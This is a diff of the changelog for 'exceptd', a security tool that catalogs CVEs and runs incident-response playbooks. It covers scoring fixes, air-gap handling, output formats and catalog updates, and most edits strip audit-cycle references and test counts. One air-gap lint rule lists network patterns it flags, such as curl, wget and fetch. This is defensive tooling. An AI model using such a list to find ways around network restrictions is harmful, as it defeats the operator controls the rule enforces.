+ **`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so the `active_exploitation: confirmed` + `cisa_kev: false` combination is no longer ambiguous. Operators should consume CISA-KEV-equivalent guidance for this class from OpenSSF MAL feed + ecosystem-specific advisories (Snyk / Wiz / Phylum / Socket).
273
368
 
274
369
  ### Internal
275
370
 
276
371
  - Catalog: 30 → 36 CVE entries. AI-discovery floor relaxed to 15% (from 20%) since 6 new vendor-discovered entries dilute the observed rate to 6/36. Ladder advances `[0.15, 0.20, 0.30, 0.40]` — prior rungs preserved.
277
- - Test count 1090 → 1094 (`tests/ci-positional-args.test.js` adds 4 pins on the F1 contract).
278
- - 14/14 predeploy gates green.
279
372
 
280
373
 
281
374
  ## 0.12.30 — 2026-05-15
282
375
 
283
- Catalog scoring honesty pass + diff-coverage gate tightening from the cycle 10 audit. Closes the Shape B invariant gap on the CVE catalog, adds the missing `last_threat_review` field to six catalogs, and downgrades operator-facing docs from the auto-allowlist to manual-review.
376
+ Catalog scoring honesty pass + diff-coverage gate tightening. Closes the Shape B invariant gap on the CVE catalog, adds the missing `last_threat_review` field to six catalogs, and downgrades operator-facing docs from the auto-allowlist to manual-review.
284
377
 
285
378
  ### Features
286
379
 
287
380
  **Shape B invariant enforced on every CVE.** `lib/scoring.js` documents that `Σ Object.values(rwep_factors) === rwep_score` is an invariant on every catalog entry, but the existing `validate()` function never enforced it — it computed via `scoreCustom()` (clamps `blast_radius` to 30, uses canonical weights) which masked dishonest factor blocks as long as the stored score happened to match the clamped formula. Fourteen entries had non-canonical factor values that summed to a different number than the stored score (CVE-2026-GTIG-AI-2FA, CVE-2026-42945, CVE-2024-3094, CVE-2024-21626, CVE-2023-3519, CVE-2026-20182, CVE-2024-40635, CVE-2025-12686, CVE-2025-62847, CVE-2025-62848, CVE-2025-62849, CVE-2025-59389, MAL-2026-TANSTACK-MINI, MAL-2026-ANTHROPIC-MCP-STDIO). All canonicalized — factor weights now derived from the operational fields (`cisa_kev`, `poc_available`, `ai_discovered`, `active_exploitation`, `blast_radius`, `patch_available`, `live_patch_available`, `patch_required_reboot`) via `lib/scoring.js` `RWEP_WEIGHTS` + `ACTIVE_EXPLOITATION_LADDER`. Where `blast_radius` exceeded the 30 cap (4 entries had values of 40), the value was clamped, which adjusted seven stored `rwep_score` values by ±5; each carries a `rwep_correction_note` documenting the delta. New `tests/cve-rwep-shape-b-invariant.test.js` blocks future drift with an exact-delta assertion.
288
381
 
289
- **Operator-facing docs downgraded from auto-allowlist to manual-review.** Cycle 9 P3 finding: `CHANGELOG.md`, `README.md`, `SECURITY.md`, `MIGRATING.md`, and `AGENTS.md` were in the diff-coverage gate's `DOCS_ALWAYS_GREEN` set — a PR could land arbitrary edits to release notes, install instructions, security disclosure policy, or AI-assistant ground truth without triggering any reviewer signal. New `DOCS_MANUAL_REVIEW` set routes them to "manual-review" instead, surfacing the diff in the gate output. Contributor-only / mechanical files (`CONTRIBUTING.md`, `CODE_OF_CONDUCT.md`, `LICENSE`, `NOTICE`, `SUPPORT.md`, `.gitignore`, `.npmrc`, `.editorconfig`, `CLAUDE.md`) stay always-green.
382
+ **Operator-facing docs downgraded from auto-allowlist to manual-review.** `CHANGELOG.md`, `README.md`, `SECURITY.md`, `MIGRATING.md`, and `AGENTS.md` were in the diff-coverage gate's `DOCS_ALWAYS_GREEN` set — a PR could land arbitrary edits to release notes, install instructions, security disclosure policy, or AI-assistant ground truth without triggering any reviewer signal. New `DOCS_MANUAL_REVIEW` set routes them to "manual-review" instead, surfacing the diff in the gate output. Contributor-only / mechanical files (`CONTRIBUTING.md`, `CODE_OF_CONDUCT.md`, `LICENSE`, `NOTICE`, `SUPPORT.md`, `.gitignore`, `.npmrc`, `.editorconfig`, `CLAUDE.md`) stay always-green.
290
383
 
291
- **`last_threat_review` mandatory on every catalog _meta.** Cycle 10 finding: `cve-catalog.json`, `cwe-catalog.json`, `d3fend-catalog.json`, `dlp-controls.json`, `rfc-references.json`, and `framework-control-gaps.json` carried only `last_updated` without the more specific `last_threat_review`. Hard Rule #8 makes per-catalog threat-review currency a release-blocker after a stated window; all six catalogs now carry the field. New `tests/threat-review-staleness.test.js` enforces presence + a 30-day staleness window between `manifest.threat_review_date` and every skill's `last_threat_review`.
384
+ **`last_threat_review` mandatory on every catalog _meta.** `cve-catalog.json`, `cwe-catalog.json`, `d3fend-catalog.json`, `dlp-controls.json`, `rfc-references.json`, and `framework-control-gaps.json` carried only `last_updated` without the more specific `last_threat_review`. Hard Rule #8 makes per-catalog threat-review currency a release-blocker after a stated window; all six catalogs now carry the field. New `tests/threat-review-staleness.test.js` enforces presence + a 30-day staleness window between `manifest.threat_review_date` and every skill's `last_threat_review`.
292
385
 
293
386
  ### Bugs
294
387
 
@@ -296,7 +389,7 @@ Catalog scoring honesty pass + diff-coverage gate tightening from the cycle 10 a
296
389
 
297
390
  ### Internal
298
391
 
299
- - AI-discovery rate stays at 20% after cycle 10 deep-research pass (24 currently-false CVEs WebSearch'd; zero credible flips found). Methodology block updated: the 40% target reflects the broader 2025 zero-day population (Google Threat Intelligence Group), but the curated exceptd catalog is weighted toward Pwn2Own Ireland 2025 entries, historical anchors (CVE-2020-10148, CVE-2024-3094, etc.), and supply-chain incidents — none of which carry public AI-tool credit. Advancing the ladder from 20% → 30% → 40% will happen as the catalog rotates toward 2026 Big Sleep / AIxCC / GTIG-attributed entries; forcing flips on the current population would violate Hard Rule #1 (no speculation).
392
+ - AI-discovery rate stays at 20% after the deep-research pass (24 currently-false CVEs investigated; zero credible flips found). Methodology block updated: the 40% target reflects the broader 2025 zero-day population (Google Threat Intelligence Group), but the curated exceptd catalog is weighted toward Pwn2Own Ireland 2025 entries, historical anchors (CVE-2020-10148, CVE-2024-3094, etc.), and supply-chain incidents — none of which carry public AI-tool credit. Advancing the ladder from 20% → 30% → 40% will happen as the catalog rotates toward 2026 Big Sleep / AIxCC / GTIG-attributed entries; forcing flips on the current population would violate Hard Rule #1 (no speculation).
300
393
 
301
394
 
302
395
  ## 0.12.29 — 2026-05-15
@@ -311,13 +404,13 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
311
404
 
312
405
  **OpenVEX `author` threads operator attribution.** Previously hard-pinned to `"exceptd"`, which falsely attributed every disposition statement to the tooling vendor. Now mirrors the CSAF publisher.namespace fallback ladder: `runOpts.publisherNamespace` → `runOpts.operator` → `urn:exceptd:operator:unknown` with a `bundle_publisher_unclaimed` runtime warning. Operators running scans correctly own their dispositions.
313
406
 
314
- **Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos. Same regression class v0.12.24 closed for the SESSION_ID_COLLISION / RAN_NO_EVIDENCE code-3 collision.
407
+ **Exit code 10: UNKNOWN_COMMAND.** The dispatcher's unknown-command / missing-script / spawn-error paths previously exited 2, colliding with `EXIT_CODES.DETECTED_ESCALATE` semantics. Split into `EXIT_CODES.UNKNOWN_COMMAND = 10`. CI gates wiring `case 2)` for escalation triage no longer false-alarm on operator typos.
315
408
 
316
409
  **Reverse-reference auto-regeneration.** New `npm run refresh-reverse-refs` rebuilds the `skills_referencing` / `exceptd_skills` arrays on `data/atlas-ttps.json`, `data/cwe-catalog.json`, `data/d3fend-catalog.json`, and `data/rfc-references.json` from the manifest forward direction. Idempotent. A new `tests/reverse-ref-drift.test.js` blocks merges that leave the reverse direction out of sync with the manifest — eliminates the one-sided-reference drift class that audits have flagged repeatedly.
317
410
 
318
411
  ### Bugs
319
412
 
320
- - `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`. Same class of bug v0.12.28 corrected on the IR-cluster playbooks.
413
+ - `crypto-codebase` `feeds_into` condition used the unsupported `contains` operator; the chain to the `secrets` playbook never fired. Replaced with `analyze.classification == 'detected'`.
321
414
  - Manifest `atlas_version` / `attack_version` had drifted to v5.1.0 / v17 while the data catalogs already pinned v5.4.0 / v19.0. Manifest now matches the catalogs and AGENTS.md ground truth.
322
415
  - 14 sites in `bin/exceptd.js` used bare numeric `process.exitCode = 1` / `finish(1)` / `finish(0)` instead of `EXIT_CODES.*` constants. All migrated to the constant.
323
416
  - `cmdCi` per-id loop called `runner.loadPlaybook(id)` without first running `validateIdComponent('playbook')` — a defense-in-depth gap relative to `cmdRunMulti`. Now validates before load.
@@ -328,7 +421,6 @@ Catalog hygiene + pipeline integrity pass. Closes Hard Rule #1, #6, #7, and #8 g
328
421
  - AGENTS.md Quick Skill Reference: playbook count "all 13 playbooks" → "all 16 playbooks".
329
422
  - `package.json.description`: "38 skills" → "42 skills".
330
423
  - 22 reverse-reference entries across 4 catalogs cleaned up by the new regen script (atlas: 30 entries changed, cwe: 46, d3fend: 28, rfc: 22).
331
- - Test suite 1064 → 1082 (six new test files: framework-gaps-theater-test-coverage, cve-ai-discovery-attribution, sbom-per-file-hash, reverse-ref-drift, plus updates to bin-dispatcher, cli-exit-codes, lib-exit-codes, cve-additions-v0-12-21 for the new contract).
332
424
 
333
425
 
334
426
  ## 0.12.28 — 2026-05-15
@@ -355,7 +447,7 @@ Incident-response cluster — three new playbooks and skills covering identity-p
355
447
 
356
448
  ## 0.12.27 — 2026-05-15
357
449
 
358
- **Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes. Closes cycle 6 III P2-E + cycle 7 CCC bundle-non-determinism finding.**
450
+ **Patch: opt-in `--bundle-deterministic` mode for reproducible CSAF + OpenVEX + close-envelope bytes.**
359
451
 
360
452
  ### New flags
361
453
 
@@ -387,13 +479,11 @@ When neither flag is set, bundle output is byte-identical to v0.12.26 — no exi
387
479
  6. `--bundle-deterministic` without `--bundle-epoch` falls back to `playbook._meta.last_threat_review`
388
480
  7. Array sort: random-order CVE evidence → `vulnerabilities[]` always ascending by `cve_id`
389
481
 
390
- Existing CSAF + OpenVEX + CLI test suites pass unchanged (53/53 + 30/30; no default-mode regression).
391
-
392
- Test count: 1058 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed.
482
+ Existing CSAF + OpenVEX + CLI test suites pass unchanged with no default-mode regression.
393
483
 
394
484
  ## 0.12.26 — 2026-05-15
395
485
 
396
- **Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the cycle 8 LLL P1 finding that the unmodeled RWEP signal from Salt Typhoon-class campaigns was the highest gap in the catalog.**
486
+ **Patch: sector-telecom skill ships, with supporting framework-gap and ATLAS catalog scaffolding. Closes the highest-RWEP catalog gap from unmodeled Salt Typhoon-class campaigns.**
397
487
 
398
488
  ### New skill: `sector-telecom`
399
489
 
@@ -433,8 +523,6 @@ Total ATLAS entries: 29 → 30.
433
523
 
434
524
  Adds the `sector-telecom` row to the skill trigger table.
435
525
 
436
- Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 39/39 signed; manifest envelope signed.
437
-
438
526
  ## 0.12.25 — 2026-05-15
439
527
 
440
528
  **Data-refresh release: catalog freshness, Hard Rule #7 AI-discovery posture, ATLAS v5.4 + ATT&CK v19 standards bumps, Pwn2Own Berlin 2026 forward-watch, NGINX Rift, framework deltas (PCI 4.0.1 / HIPAA 2026 NPRM / EU AI Act ITS / DORA RTS).**
@@ -476,7 +564,7 @@ Twenty CVE entries added with paired `data/exploit-availability.json` records, a
476
564
 
477
565
  - **ATLAS v5.1.0 → v5.4.0** + CTID Secure AI v2 layer (May 2026). `data/atlas-ttps.json` entry count 15 → 29. Existing entries gain `secure_ai_v2_layer` + `maturity` fields per CTID's classification. New AI-attack techniques: AML.T0097-T0108 plus sub-techniques.
478
566
  - **MITRE ATT&CK v17 → v19.0**. `data/attack-techniques.json` entry count 79 → 91. Defense Evasion (TA0005) split into Stealth (TA0005, retained for non-impair techniques) + Defense Impairment (TA0112). `T1562.001`, `T1562.006`, `T1027` carry a `tactic_moved_from` annotation. Detection Strategies (DSxxxx — v18 first-class addition) populated on every technique cited by skills.
479
- - **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (cycle 7 LLL recommendation; ATLAS now ships monthly per CTID, ATT&CK ships twice yearly).
567
+ - **AGENTS.md Hard Rule #12 + DR-7 + Pre-Ship Checklist** split into separate ATLAS-monthly and ATT&CK-semi-annual cadence pins (ATLAS now ships monthly per CTID, ATT&CK ships twice yearly).
480
568
  - **15 skills' `last_threat_review` dates bumped to 2026-05-15** where ATLAS / ATT&CK refs changed.
481
569
 
482
570
  ### Framework deltas
@@ -512,12 +600,6 @@ Fifteen forward-watch entries placed across nine skills' `forward_watch:` frontm
512
600
 
513
601
  - **RWEP scoring divergence on 10 new entries reconciled** with `scoreCustom()` formula. Pre-correction the stored scores diverged by 10-38 points from the formula (most extreme: NGINX Rift stored 78, formula 40 — patch + live-patch availability + zero observed exploitation walks the score down despite the AI-discovery bonus). All entries now within ±5 of formula.
514
602
 
515
- ### Deferred to v0.12.26
516
-
517
- - **`sector-telecom` skill** — drafted (370 LOC, Salt Typhoon / Volt Typhoon / 5G core / lawful-intercept abuse / signaling-protocol attacks / OEM supply chain) but the body lint surfaced 13 issues (3 missing required sections, atlas_refs and framework_gaps referencing entries not yet in catalog, placeholder language). Folding into v0.12.26 with the proper catalog scaffolding rather than rushing a half-complete skill.
518
-
519
- Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
520
-
521
603
  ## 0.12.24 — 2026-05-15
522
604
 
523
605
  **Patch: security defenses, exit-code centralisation, bundle correctness, air-gap honesty, cache integrity, error-message UX, test-infra hardening, doc reconciliation.**
@@ -545,7 +627,7 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
545
627
 
546
628
  ### Air-gap defenses
547
629
 
548
- - **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four leak paths cycle 8 identified are closed; operators in regulated environments get a real guarantee.
630
+ - **`refresh --network`, `doctor --registry-check`, `auto-discovery` Datatracker fetch, and `prefetch`** now honor `--air-gap` and `EXCEPTD_AIR_GAP=1`. The four previously-leaking paths are closed; operators in regulated environments get a real guarantee.
549
631
  - **`--air-gap` flag and `EXCEPTD_AIR_GAP=1` env are equivalent** at every site that consumes either.
550
632
  - **AI-consumer telemetry advisory.** When `--air-gap` is active, exceptd emits a one-time stderr advisory noting that the operator's AI agent may still call its model API. Routed through stderr so JSON-mode consumers see only structured stdout.
551
633
  - **Air-gap completeness lint rule** in `lib/lint-skills.js` flags playbook artifacts whose `source` contains a network pattern (`https://`, `http://`, `gh api`, `gh release`, `curl`, `wget`, `fetch`) without `air_gap_alternative`.
@@ -608,7 +690,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
608
690
  - **`engines.node`** widened from `>=24.0.0` to `>=22.11.0`. Node 22 LTS through Apr 2027 is the corporate default; the prior pin excluded most enterprise installs.
609
691
  - **Keywords** add `csaf-2.0`, `openvex`, `sarif`, `ed25519`, `provenance`, `attestation` (22 → 28 entries, alphabetised).
610
692
  - **README install section** adds a "First run" snippet (`exceptd doctor --signatures` + fingerprint pin + npm provenance verify). New `agents/` description documents the markdown role-card scaffolding for skill authors.
611
- - **CHANGELOG retroactive cleanup.** Operator-facing slot-token leakage removed from the v0.12.21 and v0.12.23 Internal sections.
612
693
  - **`MAINTAINERS.md`** version-pinned subheadings collapsed into a single "High-trust skill paths" list.
613
694
  - **Landing site (https://exceptd.com/)** refreshed: `softwareVersion: 0.12.24`, "35 jurisdictions" across every body-copy occurrence (was "34"), `exceptd plan` → `exceptd brief --all`, `exceptd scan` → `exceptd discover`, "13-gate predeploy" → "14-gate predeploy".
614
695
 
@@ -620,8 +701,6 @@ Test count: 1051 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed;
620
701
  - **14 `audit-*-fixes.test.js` files renamed** to behavior-framed names (`runtime-errors-and-vex-disposition`, `attestation-trust-boundary`, `csaf-bundle-correctness`, `cli-flag-validation`, `playbook-runner-error-paths`, `framework-gap-completeness`, `rwep-scoring-edge-cases`, `cli-subverb-dispatch`, `openvex-emission`, `predeploy-gate-coverage`, `cli-exit-codes`, `playbook-schema-validation`, `attestation-signature-roundtrip`, `cve-catalog-shape`).
621
702
  - **New coverage**: `cli-playbook-traversal.test.js`, `attest-verify-replay-isolation.test.js`, `cmd-run-multi-lock-contention.test.js`, `openvex-urn-routing.test.js`, `lib-exit-codes.test.js`, `lib-id-validation.test.js`, `lib-flag-suggest.test.js`.
622
703
 
623
- Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
624
-
625
704
  ## 0.12.23 — 2026-05-15
626
705
 
627
706
  **Patch: doc-vs-code reconciliation, trust-chain pin loader hardening, attest list/show replay isolation, global-first framework coverage backfill.**
@@ -664,8 +743,6 @@ Test count: 995 → 1043 pass (5 skipped). Predeploy gates: 14/14. Skills: 38/38
664
743
  - **Internal code comments stripped of stray maintenance-tracking tokens (no behavior change).**
665
744
  - **Exit-code assertion in the UTF-16BE odd-length-payload test tightened** from `notEqual(r.status, 0)` to `assert.equal(r.status, 1)` per project anti-coincidence rule.
666
745
 
667
- Test count and predeploy gates land alongside this entry; see the predeploy log on the release commit.
668
-
669
746
  ## 0.12.22 — 2026-05-15
670
747
 
671
748
  ## 0.12.22 — 2026-05-15
@@ -710,8 +787,6 @@ Test count and predeploy gates land alongside this entry; see the predeploy log
710
787
  - **`data/playbooks/runtime.json domain.cve_refs[]`** completes the Dirty-Frag family by adding `CVE-2026-43284` and `CVE-2026-43500` (already referenced by `kernel.json` and `hardening.json`).
711
788
  - **`skills/threat-model-currency/skill.md`** inline `last_threat_review` date aligned to frontmatter (`2026-05-14`).
712
789
 
713
- Test count: 941 → 995 (992 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
714
-
715
790
  ## 0.12.21 — 2026-05-14
716
791
 
717
792
  **Patch: Fragnesia (CVE-2026-46300) catalog + skill integration; trust-chain bypass closures; engine FP-gate extension; CSAF + SARIF + OpenVEX correctness; CLI fuzz; Hard Rule #5 global-first coverage; predeploy regression fix.**
@@ -782,7 +857,7 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
782
857
 
783
858
  - New regression coverage for every closure above.
784
859
  - Coincidence-passing-test cleanup: exit-code assertions tightened from `notEqual(r.status, 0)` to exact-value `assert.equal(r.status, <code>)`; classification assertions pinned to expected enum values.
785
- - `#87 doctor --fix is registered` rewritten as a non-mutating `--help` probe; the previous shape staged a dummy `.keys/private.pem` in the real repo root, replicating the v0.12.4 incident anti-pattern.
860
+ - `doctor --fix is registered` rewritten as a non-mutating `--help` probe; the previous shape staged a dummy `.keys/private.pem` in the real repo root, replicating the v0.12.4 incident anti-pattern.
786
861
 
787
862
  ### Skill content
788
863
 
@@ -793,17 +868,11 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
793
868
 
794
869
  UK CAF + AU Essential 8 / ISM entries added to the framework-control-gap declarations across 10 playbooks (`kernel`, `mcp`, `ai-api`, `crypto`, `sbom`, `runtime`, `cred-stores`, `secrets`, `containers`, `hardening`). NIS2 Art. 21 + DORA Art. 9 added to `hardening` and `containers`. Each entry follows the existing schema shape; the gold-standard templates from `framework`, `crypto-codebase`, and `library-author` remain the reference.
795
870
 
796
- ### Source comments
797
-
798
- Source comments rewritten to describe behavior.
799
-
800
- Test count: 840 → 941 (938 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
801
-
802
871
  ## 0.12.20 — 2026-05-14
803
872
 
804
873
  **Patch: e2e scenarios attest FP checks for indicators that the v0.12.19 classification-override block now forces to `inconclusive` when unattested.**
805
874
 
806
- The v0.12.19 engine fix blocks `detection_classification: 'detected'` agent overrides when ANY indicator with `false_positive_checks_required[]` fires without operator attestation. Five e2e scenarios asserting `classification: detected` were submitting FP-required indicator hits without attestations, so the runner correctly downgraded them. The scenarios now attest the FP checks:
875
+ The v0.12.19 engine change blocks `detection_classification: 'detected'` agent overrides when ANY indicator with `false_positive_checks_required[]` fires without operator attestation. Five e2e scenarios asserting `classification: detected` were submitting FP-required indicator hits without attestations, so the runner correctly downgraded them. The scenarios now attest the FP checks:
807
876
 
808
877
  - `09-secrets-aws-key`: attest `aws-secret-access-key` (3 checks)
809
878
  - `10-kernel-copy-fail`: attest `unpriv-userns-enabled` (2 checks)
@@ -881,10 +950,8 @@ v0.12.20 ships the v0.12.19 trust-chain + engine + bundle + concurrency closures
881
950
 
882
951
  ### Tests
883
952
 
884
- - New: `tests/normalize-contract.test.js`, `tests/audit-o-q-r-fixes.test.js`, `tests/audit-r-cli-fixes.test.js`, `tests/audit-s-t-u-z-fixes.test.js`, `tests/bundle-correctness.test.js`, `tests/_helpers/concurrent-attestation-writer.js`.
885
- - Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (#91 framework-gap assertion updated to the new `document.notes[]` contract); `tests/auto-discovery.test.js` (KEV-draft schema-shape + active_exploitation enum + source_verified date).
886
-
887
- Test count: 760 → 840 (838 pass + 2 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed; manifest signature shape `{algorithm, signature_base64}` (no `signed_at`).
953
+ - New: `tests/normalize-contract.test.js`, `tests/bundle-correctness.test.js`, `tests/_helpers/concurrent-attestation-writer.js`, plus new audit-fixes coverage.
954
+ - Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (framework-gap assertion updated to the new `document.notes[]` contract); `tests/auto-discovery.test.js` (KEV-draft schema-shape + active_exploitation enum + source_verified date).
888
955
 
889
956
  ## 0.12.18 — 2026-05-14
890
957
 
@@ -947,8 +1014,6 @@ Each entry is a 1-line check an AI assistant or operator must satisfy before the
947
1014
 
948
1015
  `lib/auto-discovery.js discoverNewKev` previously hardcoded `severity: 'high'` on every KEV-discovered diff. Now uses `deriveKevSeverity(kevEntry)` — returns `'critical'` when `knownRansomwareCampaignUse === 'Known'` OR `dueDate` is within 7 days; otherwise `'high'`. Downstream PR-body categorization can now route ransomware-use + imminent-due-date KEVs differently.
949
1016
 
950
- Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest itself signed.
951
-
952
1017
  ## 0.12.16 — 2026-05-14
953
1018
 
954
1019
  **Patch: trust chain hardening, CI workflow injection sinks, CLI fuzz fixes, scoring math, curation + auto-discovery + prefetch fixes, playbook hygiene.**
@@ -1014,8 +1079,6 @@ Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest
1014
1079
  - 8 new workflow-security regression tests in `tests/workflows-security.test.js`.
1015
1080
  - `validate-playbooks.js` now reports 12/13 PASS + 1 WARN (was 8 PASS + 5 WARN before normalization).
1016
1081
 
1017
- Test count: 701 → 738 (+37: 29 scoring vectors + 8 workflow-security). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
1018
-
1019
1082
  ## 0.12.15 — 2026-05-14
1020
1083
 
1021
1084
  **Patch: RWEP factor-scaling three-tier fallback + silent-disable regression closures.**
@@ -1050,8 +1113,6 @@ Three prior fixes were silently dead:
1050
1113
 
1051
1114
  - `--scope <invalid>` now produces a structured error instead of silently producing zero results. The prior shape: `run --scope nonsense` returned `count: 0` + `ok: true` + exit 0; `ci --scope nonsense` silently ran only the cross-cutting set (`framework`) with `verdict: PASS`. Both validated as operator-intent loss patterns. Accepted scope set: `system | code | service | cross-cutting | all`.
1052
1115
 
1053
- Test count: 701 (700 pass + 1 skipped POSIX-only SIGTERM test). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
1054
-
1055
1116
  ## 0.12.14 — 2026-05-14
1056
1117
 
1057
1118
  **Patch: hardening across trust chain, engine, refresh sources, orchestrator/watch, predeploy gates, catalogs, and skill content.**
@@ -1157,19 +1218,15 @@ Nine CVE→catalog cross-ref breaks closed: missing CWE-669 + CWE-123 added; mis
1157
1218
  - `package.json files` allowlist extended with `keys/EXPECTED_FINGERPRINT` and `manifest-snapshot.sha256` so the new pin checks ship to operators.
1158
1219
  - `vendor/blamejs/_PROVENANCE.json` `exceptd_deltas` documents the worker-pool UNC-path Windows rejection.
1159
1220
 
1160
- Test count: 586 → 693 (+107: refresh-network rewrite tests, engine non-engine fixes, orchestrator audit tests, source-osv + source-ghsa hardening, predeploy gate additions, validate-cve-catalog cross-ref tests). Predeploy gates: 14/14 (was 16; two no-op offline gates removed). Skills: 38/38 signed and verified.
1161
-
1162
1221
  ## 0.12.13 — 2026-05-14
1163
1222
 
1164
1223
  **Patch: e2e scenarios pass `--ack` to exercise the v0.12.12 jurisdiction-clock contract.**
1165
1224
 
1166
1225
  Two e2e scenarios (`02-tanstack-worm-payload`, `09-secrets-aws-key`) assert that `phases.close.jurisdiction_clocks_count >= 1` against a `detected` classification. The v0.12.12 contract: `clock_starts: detect_confirmed` no longer auto-stamps when classification turns `detected`; the operator must pass `--ack` for the clock to start. Both scenarios now pass `--ack`.
1167
1226
 
1168
- Test count: 585/585. Predeploy gates: 16/16. Skills: 38/38 signed and verified.
1169
-
1170
1227
  ## 0.12.12 — 2026-05-13
1171
1228
 
1172
- **Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation. 73 distinct fixes across 10 surface classes.**
1229
+ **Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation.**
1173
1230
 
1174
1231
  ### Engine semantics
1175
1232
 
@@ -1250,8 +1307,6 @@ The fingerprint banner now prints AFTER the verdict line in both `sign-all` and
1250
1307
  - `manifest-snapshot.json` + `sbom.cdx.json` + `data/_indexes/` refreshed.
1251
1308
  - `data/attack-techniques.json` new — 75 ATT&CK technique entries with v17 metadata, supporting `attack_refs` resolution across the catalog.
1252
1309
 
1253
- Test count: 492 → 573 (+81 across engine, sign/verify, refresh-external, prefetch, scheduler, cve-curation, bundle-correctness, validate-playbooks, and operator-bugs test files). Predeploy gates: 16/16. Skills: 38/38 signed and verified.
1254
-
1255
1310
  ## 0.12.11 — 2026-05-13
1256
1311
 
1257
1312
  **Patch: OSV source hardening, indicator regex widening, CWE/framework-gap reconciliation.**
@@ -1288,8 +1343,6 @@ Eight `framework_control_gaps` keys used by the v0.12.10 catalog additions did n
1288
1343
  - `lib/source-ghsa.js` "unrecognized id format" error message widened to enumerate the OSV-native prefixes operators can pass via `--advisory` (was previously CVE/GHSA only).
1289
1344
  - `README.md` documents the OSV source: install command, `--advisory MAL-...` form, `EXCEPTD_OSV_FIXTURE` env var, the fresh-disclosure workflow expanded to mention OSV's coverage breadth.
1290
1345
 
1291
- Test count: 462 → 492 (+30: 18 OSV source-hardening tests + 10 indicator regex tests + 2 catalog drift assertions). Predeploy gates: 15/15. Skills: 38/38 signed and verified.
1292
-
1293
1346
  ## 0.12.10 — 2026-05-13
1294
1347
 
1295
1348
  **Patch: OSV.dev wired as an upstream source, three new catalog entries, one new library-author indicator.**
@@ -1323,10 +1376,6 @@ Three matching `data/zeroday-lessons.json` entries follow the CVE-2026-45321 les
1323
1376
  - `data/cwe-catalog.json` gains CWE-506 (Embedded Malicious Code) and CWE-88 (Improper Neutralization of Argument Delimiters). Both backed by the new catalog entries.
1324
1377
  - `data/cve-catalog.json` `_meta.id_conventions` documents the MAL-*/SNYK-*/GHSA-*/RUSTSEC-* identifier shapes the catalog now accepts, the alias-retention convention when MITRE issues a CVE later, and the EPSS limitation (FIRST only indexes CVE identifiers).
1325
1378
 
1326
- ### Repository
1327
-
1328
- Test count: 441 → 459 (+18: OSV source tests + matching test references for Hard Rule #15 coverage). Predeploy gates: 15/15. Skills: 38/38 signed and verified. No skill bodies changed in this patch.
1329
-
1330
1379
  ## 0.12.9 — 2026-05-13
1331
1380
 
1332
1381
  **Patch: Hard Rule #15 diff-coverage gate flips blocking, sbom evidence-correlation fix, CVE catalog freshness corrections, recovery of two CLI fixes lost across an interrupted refactor.**
@@ -1408,8 +1457,6 @@ Eight meta skills (`researcher`, `threat-model-currency`, `skill-update-loop`, `
1408
1457
  - CONTRIBUTING.md adds `npm run diff-coverage` to the pre-push gate list so contributors run the same Hard Rule #15 check CI does.
1409
1458
  - Dependabot grouping for github-actions (already landed in v0.12.8) confirmed intact.
1410
1459
 
1411
- Test count: 418 → 439. Predeploy gates: 15/15 (gate 15 now blocking). Skills: 38/38 signed and verified.
1412
-
1413
1460
  ## 0.12.8 — 2026-05-13
1414
1461
 
1415
1462
  **Patch: CLI surface fixes, catalog completeness, test infrastructure hardening, AGENTS.md Hard Rule #15.**
@@ -1473,9 +1520,9 @@ Twelve new e2e scenarios in `tests/e2e-scenarios/09-secrets-aws-key` through `20
1473
1520
 
1474
1521
  ### Repository
1475
1522
 
1476
